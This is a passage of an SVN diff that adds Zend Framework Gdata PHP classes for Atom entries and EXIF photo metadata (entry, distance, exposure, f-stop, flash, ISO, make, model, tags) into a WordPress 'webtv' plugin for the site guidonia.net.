+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata
+ */
+require_once 'Zend/Gdata.php';
+
+/**
+ * @see Zend_Gdata_App_MediaEntry
+ */
+require_once 'Zend/Gdata/App/MediaEntry.php';
+
+/**
+ * Represents the Gdata flavor of an Atom entry
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Entry extends Zend_Gdata_App_MediaEntry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Entry';
+
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata::$namespaces);
+        parent::__construct($element);
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        // ETags are special. We only support them in protocol >= 2.X.
+        // This will be duplicated by the HTTP ETag header.
+        if ($majorVersion >= 2) {
+            if ($this->_etag != null) {
+                $element->setAttributeNS($this->lookupNamespace('gd'),
+                                         'gd:etag',
+                                         $this->_etag);
+            }
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('atom') . ':' . 'content':
+            $content = new Zend_Gdata_App_Extension_Content();
+            $content->transferFromDOM($child);
+            $this->_content = $content;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'published':
+            $published = new Zend_Gdata_App_Extension_Published();
+            $published->transferFromDOM($child);
+            $this->_published = $published;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'source':
+            $source = new Zend_Gdata_App_Extension_Source();
+            $source->transferFromDOM($child);
+            $this->_source = $source;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'summary':
+            $summary = new Zend_Gdata_App_Extension_Summary();
+            $summary->transferFromDOM($child);
+            $this->_summary = $summary;
+            break;
+        case $this->lookupNamespace('app') . ':' . 'control':
+            $control = new Zend_Gdata_App_Extension_Control();
+            $control->transferFromDOM($child);
+            $this->_control = $control;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'etag':
+            // ETags are special, since they can be conveyed by either the
+            // HTTP ETag header or as an XML attribute.
+            $etag = $attribute->nodeValue;
+            if ($this->_etag === null) {
+                $this->_etag = $etag;
+            }
+            elseif ($this->_etag != $etag) {
+                require_once('Zend/Gdata/App/IOException.php');
+                throw new Zend_Gdata_App_IOException("ETag mismatch");
+            }
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+            break;
+        }
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif.php	(revision 44)
@@ -0,0 +1,64 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata
+ */
+require_once 'Zend/Gdata.php';
+
+/**
+ * Service class for interacting with the services which use the EXIF extensions
+ * @link http://code.google.com/apis/picasaweb/reference.html#exif_reference
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif extends Zend_Gdata
+{
+
+    /**
+     * Namespaces used for Zend_Gdata_Exif
+     *
+     * @var array
+     */
+    public static $namespaces = array(
+        array('exif', 'http://schemas.google.com/photos/exif/2007', 1, 0)
+    );
+
+    /**
+     * Create Zend_Gdata_Exif object
+     *
+     * @param Zend_Http_Client $client (optional) The HTTP client to use when
+     *          when communicating with the Google servers.
+     * @param string $applicationId The identity of the app in the form of Company-AppName-Version
+     */
+    public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        $this->registerPackage('Zend_Gdata_Exif');
+        $this->registerPackage('Zend_Gdata_Exif_Extension');
+        parent::__construct($client, $applicationId);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Entry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Entry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Entry.php	(revision 44)
@@ -0,0 +1,144 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Exif
+ */
+require_once 'Zend/Gdata/Exif.php';
+
+/**
+ * @see Zend_Gdata_Exif_Extension_Tags
+ */
+require_once 'Zend/Gdata/Exif/Extension/Tags.php';
+
+/**
+ * An Atom entry containing EXIF metadata.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif_Entry extends Zend_Gdata_Entry
+{
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Exif_Entry';
+
+    /**
+     * The tags that belong to the Exif group.
+     *
+     * @var string
+     */
+    protected $_tags = null;
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Exif::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_tags != null) {
+            $element->appendChild($this->_tags->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('exif') . ':' . 'tags':
+            $tags = new Zend_Gdata_Exif_Extension_Tags();
+            $tags->transferFromDOM($child);
+            $this->_tags = $tags;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Retrieve the tags for this entry.
+     *
+     * @see setTags
+     * @return Zend_Gdata_Exif_Extension_Tags The requested object
+     *              or null if not set.
+     */
+    public function getTags()
+    {
+        return $this->_tags;
+    }
+
+    /**
+     * Set the tags property for this entry. This property contains
+     * various Exif data.
+     *
+     * This corresponds to the <exif:tags> property in the Google Data
+     * protocol.
+     *
+     * @param Zend_Gdata_Exif_Extension_Tags $value The desired value
+     *              this element, or null to unset.
+     * @return Zend_Gdata_Exif_Entry Provides a fluent interface
+     */
+    public function setTags($value)
+    {
+        $this->_tags = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Distance.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Distance.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Distance.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Exif
+ */
+require_once 'Zend/Gdata/Exif.php';
+
+/**
+ * Represents the exif:distance element used by the Gdata Exif extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif_Extension_Distance extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'exif';
+    protected $_rootElement = 'distance';
+
+    /**
+     * Constructs a new Zend_Gdata_Exif_Extension_Distance object.
+     *
+     * @param string $text (optional) The value to use for this element.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Exif::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Exposure.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Exposure.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Exposure.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Exif
+ */
+require_once 'Zend/Gdata/Exif.php';
+
+/**
+ * Represents the exif:exposure element used by the Gdata Exif extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif_Extension_Exposure extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'exif';
+    protected $_rootElement = 'exposure';
+
+    /**
+     * Constructs a new Zend_Gdata_Exif_Extension_Exposure object.
+     *
+     * @param string $text (optional) The value to use for this element.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Exif::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/FStop.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/FStop.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/FStop.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Exif
+ */
+require_once 'Zend/Gdata/Exif.php';
+
+/**
+ * Represents the exif:fStop element used by the Gdata Exif extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif_Extension_FStop extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'exif';
+    protected $_rootElement = 'fstop';
+
+    /**
+     * Constructs a new Zend_Gdata_Exif_Extension_FStop object.
+     *
+     * @param string $text (optional) The value to use for this element.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Exif::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Flash.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Flash.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Flash.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Exif
+ */
+require_once 'Zend/Gdata/Exif.php';
+
+/**
+ * Represents the exif:flash element used by the Gdata Exif extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif_Extension_Flash extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'exif';
+    protected $_rootElement = 'flash';
+
+    /**
+     * Constructs a new Zend_Gdata_Exif_Extension_Flash object.
+     *
+     * @param string $text (optional) The value to use for this element.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Exif::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/FocalLength.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/FocalLength.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/FocalLength.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Exif
+ */
+require_once 'Zend/Gdata/Exif.php';
+
+/**
+ * Represents the exif:focalLength element used by the Gdata Exif extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif_Extension_FocalLength extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'exif';
+    protected $_rootElement = 'focallength';
+
+    /**
+     * Constructs a new Zend_Gdata_Exif_Extension_FocalLength object.
+     *
+     * @param string $text (optional) The value to use for this element.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Exif::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/ImageUniqueId.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/ImageUniqueId.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/ImageUniqueId.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Exif
+ */
+require_once 'Zend/Gdata/Exif.php';
+
+/**
+ * Represents the exif:imageUniqueId element used by the Gdata Exif extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif_Extension_ImageUniqueId extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'exif';
+    protected $_rootElement = 'imageUniqueID';
+
+    /**
+     * Constructs a new Zend_Gdata_Exif_Extension_ImageUniqueId object.
+     *
+     * @param string $text (optional) The value to use for this element.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Exif::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Iso.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Iso.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Iso.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Exif
+ */
+require_once 'Zend/Gdata/Exif.php';
+
+/**
+ * Represents the exif:iso element used by the Gdata Exif extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif_Extension_Iso extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'exif';
+    protected $_rootElement = 'iso';
+
+    /**
+     * Constructs a new Zend_Gdata_Exif_Extension_Iso object.
+     *
+     * @param string $text (optional) The value to use for this element.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Exif::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Make.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Make.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Make.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Exif
+ */
+require_once 'Zend/Gdata/Exif.php';
+
+/**
+ * Represents the exif:make element used by the Gdata Exif extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif_Extension_Make extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'exif';
+    protected $_rootElement = 'make';
+
+    /**
+     * Constructs a new Zend_Gdata_Exif_Extension_Make object.
+     *
+     * @param string $text (optional) The value to use for this element.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Exif::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Model.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Model.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Model.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Exif
+ */
+require_once 'Zend/Gdata/Exif.php';
+
+/**
+ * Represents the exif:model element used by the Gdata Exif extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif_Extension_Model extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'exif';
+    protected $_rootElement = 'model';
+
+    /**
+     * Constructs a new Zend_Gdata_Exif_Extension_Model object.
+     *
+     * @param string $text (optional) The value to use for this element.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Exif::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Tags.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Tags.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Tags.php	(revision 44)
@@ -0,0 +1,548 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Exif
+ */
+require_once 'Zend/Gdata/Exif.php';
+
+/**
+ * @see Zend_Gdata_Exif_Extension_Distance
+ */
+require_once 'Zend/Gdata/Exif/Extension/Distance.php';
+
+/**
+ * @see Zend_Gdata_Exif_Extension_Exposure
+ */
+require_once 'Zend/Gdata/Exif/Extension/Exposure.php';
+
+/**
+ * @see Zend_Gdata_Exif_Extension_Flash
+ */
+require_once 'Zend/Gdata/Exif/Extension/Flash.php';
+
+/**
+ * @see Zend_Gdata_Exif_Extension_FocalLength
+ */
+require_once 'Zend/Gdata/Exif/Extension/FocalLength.php';
+
+/**
+ * @see Zend_Gdata_Exif_Extension_FStop
+ */
+require_once 'Zend/Gdata/Exif/Extension/FStop.php';
+
+/**
+ * @see Zend_Gdata_Exif_Extension_ImageUniqueId
+ */
+require_once 'Zend/Gdata/Exif/Extension/ImageUniqueId.php';
+
+/**
+ * @see Zend_Gdata_Exif_Extension_Iso
+ */
